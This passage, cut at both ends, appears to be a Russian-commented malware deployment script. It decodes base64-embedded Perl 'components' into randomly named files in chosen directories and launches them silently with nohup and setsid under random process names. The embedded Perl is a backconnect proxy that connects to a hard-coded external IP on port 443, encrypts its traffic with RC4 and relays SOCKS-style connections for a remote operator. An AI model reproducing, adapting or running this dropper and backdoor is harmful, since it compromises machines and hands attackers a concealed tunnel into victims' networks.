S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #17 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid perl "./$PAYLOAD_NAME" >/dev/null 2>&1 &) else echo "[RUNNER] Компонент #17 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && nohup setsid ./"$PAYLOAD_NAME" >/dev/null 2>&1 &) fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 18 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzM2LjI1NS45OC4xNzUnOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u 